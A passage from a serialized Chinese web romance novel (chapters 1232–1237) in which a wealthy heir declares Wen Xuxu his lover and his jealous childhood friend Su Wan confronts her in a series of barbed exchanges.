黎云笙终于放下咖啡杯,目光如刀锋般射向她:“她与你无关。”声音冷得仿佛能冻结空气,苏婉浑身一震,仿佛被无形的鞭子抽中,心头的疼痛感令她身体都仿佛在颤抖。 “怎么会跟我无关呢?”苏婉勉强的笑着,声音像是被砂纸摩擦过般沙哑。 她深吸一口气,努力维持着表面的镇定,指尖却无意识地攥紧了裙摆的蕾丝边,仿佛那是她最后能抓住的救命稻草。 “温栩栩是你的朋友对吗?”她顿了顿,喉间涌上一股苦涩,却强迫自己扬起嘴角,“温栩栩是你的朋友,那就是我的朋友,我当然会有些在乎的。”这句话像是她最后的自我安慰,又像是抛向黎云笙的试探,她多希望他能顺着她的话头,哪怕只是敷衍一句“别多想”,也好过此刻令人窒息的沉默。 黎云笙坐在沙发上翻看文件的动作顿了下,钢笔尖在纸张上划出一道细小的裂痕,墨迹晕开如一朵病态的黑花。 他并没有偏头看苏婉,只是语气冷淡得像是冬日里结的冰:“温栩栩不是朋友。” 他的声音在空旷的套房里回荡,带着不容置疑的决绝,仿佛将苏婉最后一丝侥幸彻底碾碎。 苏婉浑身一震,如遭雷击。 她僵在原地,喉咙像是被堵住般发不出声音,大脑空白了一瞬。 半晌,她才找回自己的声音,颤抖着问:“那……是什么关系?”这个问题像是用尽了她所有的力气,指尖的蕾丝已经被攥得皱成一团,掌心渗出细密的冷汗。 黎云笙沉默了片刻,钢笔在指尖轻轻转动,发出细微的咔嗒声。 他抬头看向苏婉,目光如深潭般幽暗,却带着一种令人不安的坦率:“用她的说法来讲,是金主和情人。”他的语气平静得仿佛在说一件无关紧要的事,可每个字都像是一根钢针,狠狠扎进苏婉的心脏。 苏婉内心的疼痛已经化成了实质,如潮水般将她淹没。 金主和情人? 她猛地后退一步,高跟鞋在地板上发出清脆的声响。 她盯着黎云笙,眼中满是难以置信:“堂堂黎家少爷竟然也会玩这种可笑的游戏吗?”她的声音带着颤抖的怒意,指甲深深掐进掌心,鲜血顺着指缝蜿蜒而下,她却浑然不觉。 第1232章 黎云笙你真的疯了 金主和情人,那他是不是已经跟温栩栩做了更多? 苏婉此刻已经完全不敢想更多了。 她怕自己想更多会更承受不住。 只要想到黎云笙跟温栩栩牵手、拥抱、亲吻,苏婉就会抑制不住内心的嫉妒和疼痛,仿佛有千万只蚂蚁在啃噬她的心脏。 她看着近在咫尺的男人,看着他俊美的侧脸,紧咬下唇,好半晌才开口,声音沙哑得几乎听不清:“真的只是金主和情人吗,那么未来呢?”这句话像是她最后的挣扎,她多希望黎云笙能给出一个不同的答案,一个能让她重新燃起希望的答案。 黎云笙签署文件的动作顿了下,钢笔悬在纸面上,墨汁缓缓滴落,在纸张上晕开一片深色的痕迹。 他似乎真的在认真思考,眉头微蹙,睫毛在眼睑投下细密的阴影。 苏婉屏住呼吸,心跳如擂鼓,几乎要冲破胸腔。 终于,他抬起头,目光直视苏婉,声音清晰而坚定:“是爱人。” 他的瞳眸幽暗如墨,但苏婉能感受到眼底是带着几分淡淡的不易察觉的柔意,可那点柔意是对温栩栩的……仿佛一道惊雷劈下,苏婉的指甲陷进了掌心,她已经彻底笑不出来了。 黎云笙抬头看向她,灯光照射在他的脸上,棱角分明的轮廓被镀上一层冷白的光。 苏婉看到了黎云笙认真的表情,他微抿的薄唇,专注的眼神。 她感觉得到黎云笙好像真的动心了,这份认知比任何疼痛都更让她窒息。 没有来见黎云笙之前,她还能自欺欺人的说自己是黎云笙独一无二的青梅,可真的见到黎云笙后,她就感受到黎云笙对温栩栩的在意,那份在意是如此鲜明,如此不容置疑,仿佛将她所有的骄傲和幻想都击得粉碎。 苏婉看着他,看着看着眼神恍惚,眼底仿佛蒙上了一层薄雾。 她喜欢了黎云笙这么多年,但此刻黎云笙却她说温栩栩会是他未来的爱人。 她感到喉咙发紧,仿佛被无形的手扼住,声音颤抖着问:“黎云笙,你是真的疯了。”这句话像是她最后的呐喊,带着绝望的崩溃。 黎云笙的眉头微挑,眼神依旧冷静得可怕:“苏婉,注意你的身份。”他的声音带着警告的意味,仿佛苏婉的失控让他感到厌烦。 苏婉浑身一震,仿佛被一盆冷水从头浇下。 她看着黎云笙,看着他冷漠的眼神,突然意识到自己或许从未真正了解过这个男人,又或者,她早已被他抛在了身后,如同被遗弃的旧玩具。 套房内的气氛压抑得让人喘不过气来,窗外的夜色如墨,霓虹灯的光影透过窗帘的缝隙洒进来,在黎云笙身上投下斑驳的光影,却照不亮他眼底的深渊。 苏婉的指甲深深陷进掌心,鲜血顺着指缝滴落在地板上,绽开一朵朵细小的红梅。她咬紧下唇,喉间涌上一股腥甜,却倔强地不肯落下泪来。 “黎云笙,你知道你在说什么吗?”她沙哑着声音问,声音里带着一丝不易察觉的颤抖。 黎云笙没有回答,只是低头继续签署文件,钢笔在纸上划出沙沙的声响,仿佛在嘲笑她的不自量力。 苏婉的眼眶泛红,她突然觉得自己像个可笑的小丑,在黎云笙面前徒劳地挣扎,却连他的目光都吸引不住。 她深吸一口气,努力稳住声音:“温栩栩她配吗?”这句话像是用尽了她所有的力气,带着不甘的质问。 黎云笙终于停下手中的笔,抬头看她,眼神如刀锋般锐利:“配不配,不是你说了算。” 套房内的空气仿佛凝固了,只有窗外偶尔传来的车流声隐隐约约。 苏婉看着黎云笙,看着他冷峻的侧脸,突然感到一阵绝望。 她目光灼灼地盯着黎云笙,声音带着颤抖的质问:“温栩栩是什么身份你真的清楚吗?温栩栩她无父无母孤儿院出身,除了只有那一副好皮囊还有什么?”她的声音尖锐如刀,每一个字都像是一根利刺,直直地刺向黎云笙,也刺向她自己早已千疮百孔的心。 “她会为了权势地位金钱不停的往上爬,她爱的是你的身份你的地位你的金钱,她爱的不是你这个人!”她几乎是用尽全身的力气喊出这句话,仿佛这样就能说服黎云笙,也说服自己。 黎云笙却只是淡淡地看了她一眼,嘴角竟微微上扬,带着一丝若有若无的笑意。 他的眼神深邃如墨,却透着一种令人不安的笃定:“那刚好,她要的我全部都有,甚至这一切我可以拥有一辈子。”他的声音平静得仿佛在说一件再寻常不过的事,可每一个字都像是一记重锤,狠狠砸在苏婉的心上。 黎云笙说这些话的时候甚至是带着点笑意的,好像因为拥有温栩栩想要的东西而愉悦。 他这话什么意思,好像说他一辈子拥有权势地位就能把温栩栩留在身边一辈子。 苏婉看着眼前的男人,心中涌起一股陌生的恐惧。 这还是自己认识的那个黎云笙吗?他好像不再像以前那样冷漠的像个机器人,他像个有情有爱的正常人了,可黎云笙不是为了自己改变。他所有的温柔和笑意,都给了另一个女人。 苏婉的眼眶泛红,泪水在眼眶里打转,却倔强地不肯落下。 她深吸一口气,声音沙哑而颤抖:“阿笙,我们才是从小一起长大的,我喜欢了你这么多年你真的看不到吗?”她向前迈出一步,高跟鞋在地板上发出清脆的声响,仿佛是她破碎的心在发出最后的哀鸣。 “为什么不能选择我,为什么一定要是温栩栩,那我算什么?”她的声音里带着无尽的委屈和不甘,仿佛要将这些年压抑在心底的情感全部倾泻而出。 黎云笙的眉头微挑,眼神依旧冷静得可怕:“苏婉,我表现的不够明显吗?”他的声音带着一丝不耐,仿佛苏婉的纠缠让他感到厌烦。苏婉的心猛地一沉,心想,表现的太明显了,所以她才会更加不甘心。 她咬紧下唇,喉间涌上一股苦涩,仿佛有千言万语卡在喉咙里,却什么都说不出来。 第1233章 温栩栩是他的爱人 “我不懂,温栩栩凭什么呢?”苏婉的声音带着绝望的嘶哑,她盯着黎云笙,仿佛要在他脸上找到答案。黎云笙却只是冷冷地吐出两个字:“那是我和她的事,你管的太多了,注意你的身份。” 他的声音如寒冰般刺骨,彻底击碎了苏婉最后一丝希望。 苏婉的眼泪险些落下来,但苏婉还是强硬的逼着自己抹去脸上的泪水,抬起头想把泪水憋回去却对上刺眼的灯光。 灯光刺得她眼睛生疼,泪水在眼眶里打转,却始终没有落下。 苏婉待不下去了,她几乎是有些仓惶的想要逃离,不想面对这样冷漠的黎云笙。 她转身拉开门,高跟鞋敲击地面的声音急促而慌乱,仿佛是在逃离一场噩梦。 可才推开门刚打算离开,就看到走廊拐角站着的女人。对方身上只穿着一件素色的旗袍,甚至没有多余的花纹,但就是衬得身段婀娜体态风流。 苏婉忍不住多看了两眼,被对方那张过于漂亮的面容吸引了目光。 那是温栩栩。 温栩栩就那样静静地站在走廊的拐角处,仿佛一幅绝美的水墨画。她的身姿轻盈如柳,旗袍的素色布料贴合着她玲珑有致的身材,每一处线条都恰到好处,仿佛上天精心雕琢的杰作。 头发乌黑如墨,柔顺地垂在肩头,发梢微微卷曲,带着一丝慵懒的韵味。 最引人注目的,是她那双眼睛。 那双眼睛像是盛装了璀璨星辰,明亮而深邃,仿佛能洞察人心。 苏婉从未见过如此漂亮的眼睛,仿佛整个世界的光华都凝聚在了那双眸子里。 她的眼神平静如水,却又仿佛能看穿苏婉内心所有的挣扎和不甘。 苏婉的心口更疼了,仿佛被一只无形的手紧紧攥住。 原来这就是温栩栩。她本以为温栩栩不过是个靠着美貌上位的女人,可此刻亲眼所见,她才发现温栩栩的美貌远超出她的想象。那种美不是张扬的,而是内敛的,却有着惊人的力量,仿佛能让人不自觉地为之沉醉。 苏婉看着温栩栩,心中涌起一股复杂的情绪,既有嫉妒,又有不甘,还有一丝莫名的恐惧。 温栩栩的目光也落在苏婉身上,她的眼神平静得没有一丝波澜,仿佛苏婉只是一个无关紧要的陌生人。 苏婉的心跳骤然加快,她深吸一口气,努力稳住自己的情绪,却发现自己竟有些不知所措。 她与温栩栩对视着,仿佛时间都凝固了。温栩栩的眼神里没有敌意,也没有挑衅,只有一种令人难以捉摸的平静,却让苏婉感到更加不安。 苏婉僵立在原地,目光如同被磁石吸引般,无法从温栩栩身上移开。 她知道温栩栩漂亮,也在网络上搜索过照片,只是没想到温栩栩能漂亮到这种程度。 照片里的温栩栩已然令人惊艳,可此刻真人站在眼前,那种震撼却远超想象,漂亮到只是对上就会想要落荒而逃的地步。 网络上无数人夸她“神颜”,可只有亲眼所见才会明白,温栩栩的漂亮并非简单的皮相之美,而是那种由内而外散发出的气质,清冷如月,却又暗藏锋芒,仿佛一件精心雕琢的艺术品,美得令人心悸。 苏婉的手指无意识地攥紧裙摆,指尖泛白。 她想起网络上那些无聊的对比贴,有人竟说她的侧脸与温栩栩有三成像。彼时她只当是玩笑,甚至带着一丝隐秘的得意,可此刻站在温栩栩面前,她只觉得那所谓的“三分像”更像是一种讥嘲。 她何德何能? 苏婉眼神躲闪,此刻想逃,根本不敢真的与温栩栩对视。那双眼眸太过澄澈,仿佛能照见人心底最不堪的怯懦。 经纪人李姐却已大步上前,高跟鞋敲击大理石地面的声响清脆而急促。 她显然认得温栩栩,李姐站在苏婉身边,身姿挺拔如松,职业套装的剪裁衬得她气势凌厉,声音里带着毫不掩饰的讥嘲:“你就是温栩栩?” 温栩栩的表情依旧淡漠,只微微颔首,仿佛面对的不是挑衅,而是再寻常不过的问候。 李姐却不依不饶,音量拔高几分,语气中满是居高临下的轻蔑:“给你个忠告,苏婉是黎云笙的青梅,她们之间是自小一起长大的交情,不是她这种从角落里蹦出来的小喽啰能相提并论的。” 温栩栩却忽然笑了,那笑容很浅,她目光流转,不疾不徐地开口:“一起长大的感情啊……”尾音微微上扬,带着几分意味深长的玩味,“那为什么一直没有交往在一起呢,是不喜欢吗?” 此言一出,李姐脸色骤变。 她未曾料到温栩栩竟会如此敏锐,直指要害。 苏婉的心跳猛地漏了一拍,仿佛被人当众撕开了最后一块遮羞布。 是啊,为什么? 她爱了黎云笙这么多年,从少女的懵懂到如今的执念,却始终只能以“青梅”的身份徘徊在他身边。若真是青梅竹马的深情,为何黎云笙从未回应?为何如今他会选择温栩栩? 温栩栩的视线淡淡扫过苏婉,那目光像是穿透了她所有伪装,直抵心底的伤口。 苏婉浑身发冷,仿佛被看透了所有不堪的挣扎。她突然意识到,温栩栩并非她想象中的无知花瓶,她聪明、冷静,甚至带着一种洞察人心的犀利。她那句反问,不仅让李姐哑口无言,更将苏婉自以为的“优势”击得粉碎。 走廊的冷光斜斜地打在温栩栩身上,素色旗袍勾勒出她玲珑的曲线,却更衬得她气质清冷如霜。 她并未咄咄逼人,只是安静地站着,可那份从容却像无形的屏障,将苏婉和李姐的攻势隔绝在外。 李姐深吸一口气,试图找回主动权:“温小姐,有些话不该由你来说。”她的语气强硬,却难掩一丝慌乱。 温栩栩却只是轻轻挑眉,眼神里带着一丝若有若无的嘲讽:“李姐说得对,或许我不该多嘴。”她顿了顿,声音骤然转冷,“但黎云笙的选择,似乎也轮不到旁人置喙。” 温栩栩这句话,不仅是回怼李姐,更像是对苏婉的一种警告。苏婉忽然想起黎云笙曾说,温栩栩是他的“爱人” 第1234章 你别得意太早 温栩栩是黎云笙亲口承认的爱人,而她又算什么?她又凭什么在温栩栩面前得意?她配吗? 苏婉此刻的笑容都带着点苦涩的意味儿,她看着温栩栩,内心翻涌着难以言喻的嫉妒。 那嫉妒像一团燃烧的火焰,灼痛着她的心,却又被她强行压下,化作嘴角自嘲的弧度。 她承认,她嫉妒温栩栩的相貌,那张脸仿佛被上帝精心雕琢过,每一处都完美得令人窒息。 如果可以选择,她也想长温栩栩这样一张漂亮脸蛋儿。 她甚至会觉得温栩栩能被黎云笙这样看重喜欢全因为温栩栩这张脸。 苏婉心想,如果自己也长得那样漂亮就好了,这样或许黎云笙早就会喜欢上自己,而不是像现在这样,只能以“青梅”的身份,看着他与另一个女人并肩而立。 苏婉盯着温栩栩看了很久,没有移开视线。 她的目光几乎是从头到脚打量温栩栩,试图从这张完美的面容上找出哪怕一丝瑕疵。 她注意到温栩栩的旗袍领口微微敞开,露出一小片雪白的肌肤,那肌肤在走廊冷光的映照下,仿佛泛着珍珠般柔和的光泽。 苏婉的手指无意识地攥紧裙摆,指尖泛白,指甲几乎要刺破掌心。 她深吸一口气,突然开口:“温小姐,能不能单独聊一聊?” 温栩栩轻笑:“我们之间似乎没什么可聊的。”她微微扬起下巴,眼神淡漠,仿佛面对的是一个无关紧要的陌生人。 苏婉压下心中的慌乱,声音尽量平静,甚至带着一丝不易察觉的得意:“怎么会没什么可聊的?你不想更了解阿笙吗?你不想知道他的过去吗?我跟阿笙是一起长大的交情啊……” 她故意在“一起长大”四个字上加重语气,仿佛这四个字是她的护身符,是她的筹码。 她看着温栩栩,眼底藏着的得意如同暗流涌动,像是在讥笑温栩栩完全不了解黎云笙,只是个突然闯入的外人。 温栩栩怔住,她抬头看向苏婉,目光如刀,仿佛要穿透苏婉的伪装。 她能明显感觉到苏婉眼底的得意,那得意像是一把锋利的匕首,直直地刺向她。然而,温栩栩并未表现出丝毫的慌乱。她微微眯起眼睛,嘴角勾起一抹似笑非笑的弧度,那弧度带着几分嘲讽,几分玩味。 这个苏婉,果然把她当竞争对手了。 不过,她确实有点想了解黎云笙。 温栩栩看她一眼,偏头扫了眼自己的房间,红唇轻启:“来我房间谈吧。” 苏婉的心跳再次加速,她没想到温栩栩会如此爽快地答应。 她深吸一口气,跟在温栩栩身后,走进了温栩栩的房间,房间的布置简约而雅致,白色为主调,点缀着几株新鲜的绿植,空气中弥漫着淡淡的檀香,令人心旷神怡。 苏婉一进去就看到了黎云笙的手表,是的,黎云笙常戴的那块手表。 就放在置物柜上面。 苏婉的心跟着狠狠一跳,她没办法不在意这件事。 一个男人,什么时候才会摘下自己的手表放在异性房间……只有洗澡和做最亲密的事情才会摘掉手表。 苏婉眼神一暗,面不改色的的跟随温栩栩到了房内。 温栩栩走到沙发前坐下,她指了指对面的位置,示意苏婉坐下。 苏婉坐下后,忍不住再次打量温栩栩。她的目光落在温栩栩的手上,那双手纤细白皙,指甲修剪得圆润整齐,散发着一种令人难以忽视的魅力。 苏婉深吸一口气,压下心中的嫉妒,开口:“温小姐,你应该知道,我跟阿笙从小一起长大。”她的声音带着一丝不易察觉的骄傲,仿佛在炫耀一件珍贵的宝物。 温栩栩点头,目光平静地看着她,等待她继续说下去。 苏婉目光灼灼地看着温栩栩,眼底的得意再次浮现:“温小姐,你知道阿笙为什么会跟你在一起吗?”她故意停顿,看着温栩栩微变的脸色,心中涌起一股报复的快感。 温栩栩眉头微挑,目光依旧冷静:“为什么?”她的声音平静如水,仿佛在询问一个再寻常不过的问题。 苏婉轻笑一声,声音带着几分嘲讽:“因为,你跟我很像。”她直视温栩栩的眼睛,仿佛要看穿她的灵魂。 温栩栩的心猛地一跳,她没想到苏婉会这样说。她盯着苏婉,等待她的解释。 苏婉接着道:“我们都有一张漂亮的脸蛋儿,不是吗?”她的声音愈发尖锐,仿佛在指控温栩栩只是一个花瓶。 温栩栩的瞳孔微缩,她终于明白了苏婉的意图。 她轻笑出声,声音带着几分冷意:“苏小姐,你这么说,是承认自己也只是因为这张脸才被黎云笙看重吗?”她的话像一记重锤,狠狠砸在苏婉的心上。 苏婉的脸色骤变,她没想到温栩栩会如此反击。 她咬紧下唇,强压下心中的愤怒,声音颤抖:“你……你胡说!” 温栩栩却不再看她,目光转向窗外,声音平静:“苏小姐,如果你只是想告诉我这些,我想我们可以结束了。”她的语气带着不容置疑的决绝,仿佛在宣告这场对话的终结。 苏婉的心沉入谷底,她站起身,目光死死地盯温栩栩,仿佛要将她看穿。 她突然冷笑:“温栩栩,你别得意太早。阿笙的过去,你永远不会懂。” 温栩栩面上表情很淡,仿佛苏婉的激言不过是窗外掠过的一缕风。 她兀自站起身,姿态闲散地踱步至冰箱前,纤长的手指拉开银灰色的门,寒气霎时扑面而来。冰箱内整齐码着几盒牛奶,她随意取出一盒,动作间带着漫不经心的慵懒。 她拧开盖子,倒入玻璃杯中,冰过的牛奶显得浓稠,如凝脂般缓缓流淌。 她倚在流理台边,慢条斯理地啜饮一口,冰凉的液体滑过喉间,她眯起眼,舌尖轻抵杯沿,仿佛在品尝最醇厚的佳酿。这般悠然自得,好似此刻没有受到苏婉此刻的挑衅一般。 她淡淡开口,在问苏婉:“要来一杯牛奶吗?” 第1235章 黎云笙看重的,您给不了 她越是这样平静,苏婉就越是没办法冷静。 苏婉的胸口剧烈起伏,仿佛有团火在胸腔里灼烧。 她猛地站起身,高跟鞋在地面敲出清脆的声响,仿佛是她失控情绪的具象化。 “温栩栩,你到底明不明白我在说什么!”她咬着牙,声音带着颤抖的尖利,仿佛要刺破这压抑的寂静。 她向前逼近两步,双手攥紧裙摆,指节泛着青白:“我跟黎云笙之间经历过很多是你没办法插进来的!”她的眼底翻涌着嫉妒与不甘,像暴风雨前翻滚的乌云。 苏婉深吸一口气,声音陡然拔高,带着一种近乎疯狂的尖锐:“你知道阿笙的父亲有多少女人吗?知道阿笙有多少私生子姐妹吗?” 她冷笑一声,那笑声像是从喉咙深处挤出来的,带着苦涩与嘲讽,“阿笙是他的儿子,做父亲的能这样风流,当儿子的又能好到哪里去?你真当他喜欢你?他不过是看上了你的脸所以才想追求你得到你,如果你没有这张脸,你以为你能得到什么?走在马路上阿笙都不会看你一眼!” 她的手指几乎要戳到温栩栩的鼻尖,仿佛要将她钉在原地。 温栩栩依旧倚着流理台,姿态未变。 她看着苏婉因情绪激动而涨红的脸,那向来端庄的面容此刻扭曲着,仿佛变了一个人。 她慢条斯理地将牛奶杯放到桌沿上,发出轻微的“嗒”一声。 那声响轻得几乎可以忽略,却像一记重锤,敲在苏婉狂躁的心上。 温栩栩的目光懒懒地扫过苏婉,仿佛在看一场拙劣的表演。 她眉梢轻挑,唇角勾起一抹似笑非笑的弧度,那弧度里藏着讥讽与了然。 她哼笑一声,声音轻得像是自言自语,却让苏婉浑身一震:“黎云笙因为我的脸看上我追求我,那么黎云笙有追求过你吗?有跟你在一起吗?” 温栩栩站直身子,缓缓朝苏婉走近两步。 她的步伐轻盈,却带着一种迫人的气势。 她直视苏婉的眼睛,目光如冰,字字如刀:“黎云笙跟我牵手、拥抱、接吻,做更多亲密的事情,可他对你做过什么呢?”她故意在“亲密的事情”上加重语气,仿佛是在苏婉的伤口上撒盐。 她逼近苏婉,近得能看清对方睫毛的颤动,“你说如果我没有这张漂亮脸蛋儿黎云笙都不会看我一眼,可事实上我就是这么漂亮,他就是喜欢我,而相貌普通像你这样的……”她故意停顿,目光上下扫视苏婉,那眼神带着轻蔑与审视,仿佛要将苏婉的每一寸都看透,“他就不会喜欢。” 苏婉的瞳孔猛地收缩,她后退半步,后背撞上沙发扶手,发出闷响。 她张了张嘴,却发不出声音,喉咙像被什么哽住了。 温栩栩的声音却未停,她继续一字一顿道:“你说这些,无非是想刺激我,你内心不甘觉得我是‘以色侍人’,可你这样不甘愿无非是你也想‘以色侍人’,只可惜,你没这么容貌,不是吗?” 她轻笑一声,那笑声像是银针刺入苏婉的心脏。她望着苏婉,眼神里带着怜悯与嘲讽,仿佛在看一个可悲的小丑:“说到底,你还是在羡慕嫉妒我的容貌。” 苏婉的脸瞬间煞白,她僵在原地,仿佛被定住了。 温栩栩的话像一盆冷水,浇灭了她所有的嚣张气焰。 她看着温栩栩那张精致得无可挑剔的脸,那脸上的笑意刺痛了她的眼。 她突然意识到,自己方才的失控、激言,不过是将内心的自卑与嫉妒暴露无遗。 温栩栩的冷静与犀利,将她所有的攻击都反弹了回来,甚至更狠地刺向她自己的心。 温栩栩倚回流理台,慢悠悠地又抿了一口牛奶。她看着苏婉,目光里带着一种洞悉一切的淡然。 她注意到苏婉因为怒意而发红的脸,此刻的苏婉跟电视上那个人淡如菊的苏婉判若两人。 她哼笑一声,声音里带着不加掩饰的嘲讽:“苏小姐,您向来以‘大家闺秀’自居,今日这般失态,倒真是让我开了眼界。”她故意将“大家闺秀”四个字咬得极重,仿佛在讽刺苏婉此刻的狼狈。 苏婉的指甲深深掐进掌心,疼痛让她勉强维持清醒。她深吸一口气,强压下翻涌的情绪,声音颤抖却故作镇定:“温小姐,您这般牙尖嘴利,不过是仗着阿笙此刻对您的新鲜感。等他玩腻了……”她话未说完,温栩栩却截断了她的话。 “玩腻了?”温栩栩轻笑,声音里带着讥诮,“苏小姐,您似乎对‘玩腻’这个词很有心得啊。”她目光灼灼地盯着苏婉,仿佛要看穿她的灵魂,“您是不是觉得,所有男人都像黎云笙那位风流父亲一样,只图一时新鲜?还是说,您自己经历过太多‘玩腻’的戏码,所以自动将所有人都代入其中?” 苏婉的脸再次涨红,她颤抖着嘴唇,却无法反驳。温栩栩的话像一把利刃,精准地刺中她的软肋。 温栩栩看着苏婉的表情,知道自己猜对了。 她轻笑一声,声音里带着彻骨的凉意:“苏小姐,您与其在这里费尽心思挑拨离间,不如好好照照镜子,看看自己为何得不到黎云笙的心。” 她凑近苏婉,压低声音,仿佛在说一个只有她们两人知道的秘密,“不是所有男人都只看重皮囊,但显然,黎云笙看重的,您给不了。” 苏婉的瞳孔猛地收缩,她后退一步,后背抵住墙壁,无路可退。 温栩栩的话像一记重击,将她所有的自尊碾碎。她看着温栩栩那张带着胜利者微笑的脸,突然意识到,自己在这场较量中,输得一败涂地。 温栩栩直起身,转身走回沙发,姿态优雅如初。 她端起牛奶杯,轻轻晃动,杯中的液体泛起涟漪,映着她从容的面容。 她瞥了苏婉一眼,嘴角勾起一抹淡淡的嘲讽:“苏小姐,如果没别的事了,我想我该休息了。”她的声音平静得仿佛刚才什么都没有发生过,可那平静之下,是绝对的掌控与胜利者的姿态。 第1236章 不足为据 苏婉僵在原地,她看着温栩栩的背影,指甲几乎要掐出血痕。 她知道自己该离开了,可双腿却像灌了铅般沉重。 她突然觉得,自己像个跳梁小丑,在温栩栩面前,她的所有算计与嫉妒,都显得如此可笑。她深吸一口气,强压下翻涌的情绪,转身快步走向门口。 高跟鞋敲击地面的声响急促而凌乱,仿佛在逃离一场噩梦。 走到门口的时候,苏婉的脚步却突然凝滞。她像是被无形的绳索绊住,高跟鞋在地面划出细微的摩擦声,带着几分慌乱与狼狈。 回过神时,她仍被不甘啃噬着心脏,那不甘如藤蔓般缠住她的喉咙,迫使她再度转身。 她深吸一口气,仿佛要汲取最后一丝尊严,可声音里仍泄出颤抖的裂痕:“温栩栩,你是真的很嚣张,你能仗着你这张脸吃多久的红利?阿笙今天能够捧着你宠着你,明天就能让你从云端之上摔下来,真的到那一天……”她咬着牙,每个字都像是从齿缝间挤出的毒针,“会有无数人等着踩你一脚,你别得意!” 温栩栩捧着玻璃杯,眸色仍然是冷淡的,此刻听到苏婉的威胁,竟轻嗤一声,笑出声来。 苏婉被她此刻这般肆意的笑声彻底刺激到,暗暗咬牙,双目逼视着温栩栩,仿佛要将她生吞活剥:“温栩栩,你到底为什么这么得意?!” 温栩栩晃了晃玻璃杯,牛奶在杯中荡起涟漪,倒映着她眉眼间流转的讥诮。 她倚在门框边,姿态慵懒,却字字如刀:“苏小姐,其实在没有见到你之前,我听人提到黎云笙有个一起长大的青梅竹马。很多人都说黎云笙很在意他的那位青梅,说你优雅漂亮、知性温婉,甚至有无数人认为你们绝配……”她故意拉长尾音,目光如炬,穿透苏婉故作镇定的面具,“我那时候还有一点危机感呢。” 苏婉的瞳孔猛地收缩,她攥紧裙摆,指节泛白。 温栩栩的每一句话都像在剥开她精心营造的体面。 “可直到现在我才知道,”温栩栩的声音陡然转冷,带着刺骨的嘲讽,“对你产生危机感是我太看得起你,又太看不起我自己。”她直起身,朝苏婉逼近两步,目光如冰刃般刮过苏婉的脸,“所谓青梅,无非是一位一直需要黎云笙伸出援手帮扶的破落户千金罢了。” 她刻意在“破落户”三个字上加重语气,仿佛要将苏婉最后一块遮羞布彻底撕碎,“若非黎云笙一直投喂资源,苏家早就已经破败如枯叶了吧?” 苏婉的脸瞬间煞白,她后退半步,后背撞上门框,发出沉闷的声响。温栩栩的话像一记重锤,狠狠砸在她最痛的伤口上。她颤抖着嘴唇,却发不出声音,喉咙里仿佛堵着一团灼热的火。 温栩栩却未停歇,她继续步步紧逼,声音冷冽如霜:“我是无父无母,孤儿院出身,但我从来没有因为各种情况逼着求着黎云笙出大额资金,几千万几亿的砸进去连水花都听不到。” 她轻笑一声,那笑声里带着轻蔑与自嘲,“可你呢?苏家这些年靠着黎云笙输血续命,你享受着他给的资源,现在却还要为此自豪……我真是不懂你有什么可自豪的,你自豪的点在哪里?在你可以随意黏在黎云笙的身上不停吸血吗。” 苏婉的指甲深深掐入掌心,疼痛让她勉强维持清醒。 她盯着温栩栩,眼底翻涌着怒意与冷意,仿佛要喷出火来。她嘶声道:“你懂什么!我和阿笙一起长大,我们之间的情谊不是你这种外人能理解的!” 温栩栩却嗤笑出声,她逼近苏婉,近得能看清对方睫毛的颤动:“一起长大算得了什么?没有抱过、亲过、睡过,你就永远比不过我。” 她故意在“睡过”二字上咬得极重,仿佛是在苏婉的伤口上撒盐。 她目光灼灼地盯着苏婉,一字一顿道:“至于吃红利……我好歹有这张脸,就还能吃到红利,不像你,想吃都吃不到,不是吗,苏小姐?” 苏婉的瞳孔猛地收缩,她僵在原地,仿佛被定住了。温栩栩的话像一盆冷水,浇灭了她所有的嚣张气焰。她看着温栩栩那张精致得无可挑剔的脸,那脸上的笑意刺痛了她的眼。 她突然意识到,自己方才的威胁、激言,不过是将内心的自卑与嫉妒暴露无遗。温栩栩的冷静与犀利,将她所有的攻击都反弹了回来,甚至更狠地刺向她自己的心。 温栩栩直起身,转身走回沙发,姿态优雅如初。 她端起牛奶杯,轻轻晃动,杯中的液体泛起涟漪,映着她从容的面容。 她瞥了苏婉一眼,嘴角勾起一抹淡淡的嘲讽:“苏小姐,如果没别的事了,我想我该休息了。”她的声音平静得仿佛刚才什么都没有发生过,可那平静之下,是绝对的掌控与胜利者的姿态。 苏婉甚至恍恍惚惚间仿佛从温栩栩的身上看到了黎云笙的影子。 这太可笑了,可笑到苏婉身体都在轻微的颤抖。 这两人到底是有多亲近……亲近到让她觉得温栩栩已经有些像黎云笙了,衬得她整个人更像一个笑话! 苏婉僵在原地,她看着温栩栩的背影,指甲几乎要掐出血痕。 她知道自己该离开了,可双腿却像灌了铅般沉重。她突然觉得,自己像个跳梁小丑,在温栩栩面前,她的所有算计与嫉妒,都显得如此可笑。 她深吸一口气,强压下翻涌的情绪,转身快步走向门口。高跟鞋敲击地面的声响急促而凌乱,仿佛在逃离一场噩梦。 温栩栩听着那渐远的脚步声,嘴角的笑意愈发明显。 她将牛奶杯搁在茶几上,杯底与玻璃桌面相碰,发出清脆的声响。 她望向窗外,夜色渐浓,星辰闪烁。 她甚至都没有回头看苏婉一眼,仿佛真的完全不在意苏婉,将苏婉当做了一个可有可无的小角色。 没有见到苏婉本人之前,温栩栩还会认为苏婉有一定的竞争力,因为就像苏婉说的那样,她确实是黎云笙的青梅跟黎云笙一起长大,他们两人之间长久的交情不是她能轻易相比的。 可真的见到苏婉本人,温栩栩就知道,黎云笙绝对不会喜欢苏婉,起码在她看来,苏婉绝不会是黎云笙会喜欢的类型。 苏婉,不够格。 长相、气度、全部都不够格。 没有大家闺秀的气韵,没有顶级的美貌,也没有傲人的风骨,更没有聪明的头脑,但凡苏婉有点脑子都不会这个时间蹦跶到温栩栩面前疾言厉色来宣誓主权。 所以起码对温栩栩来说,苏婉……不足为据。 第1237章 只撩拨你,好不好 温栩栩拍完戏收到导演消息时,指尖还残留着卸妆水凉薄的气息。 黎云笙来了,这五个字像一颗石子投入心湖,漾开层层涟漪。 她自然不会让他多等,踩着细高跟快步穿过长廊,鞋跟敲击地面的声响急促而清脆,仿佛在应和着胸腔里加速的心跳。 休息室的房门虚掩着,助理恭敬地候在门外,见她过来立刻露出职业化的微笑:“黎总等您很久了。” 温栩栩点点头,推门的动作却带着几分急切。 门扉开启的瞬间,那股淡淡的烟草气息扑面而来,比在门外时浓烈数倍,带着丝丝刺鼻的意味。 她微微蹙眉,目光却早已锁定了沙发上那道身影。 黎云笙坐在沙发上,西装外套随意搭在扶手上,衬衫袖口挽至肘部,露出线条流畅的小臂。 他低头翻看资料,侧脸轮廓在灯光下显得格外冷硬,漆黑的眸远看多了几分朦胧的冷意。 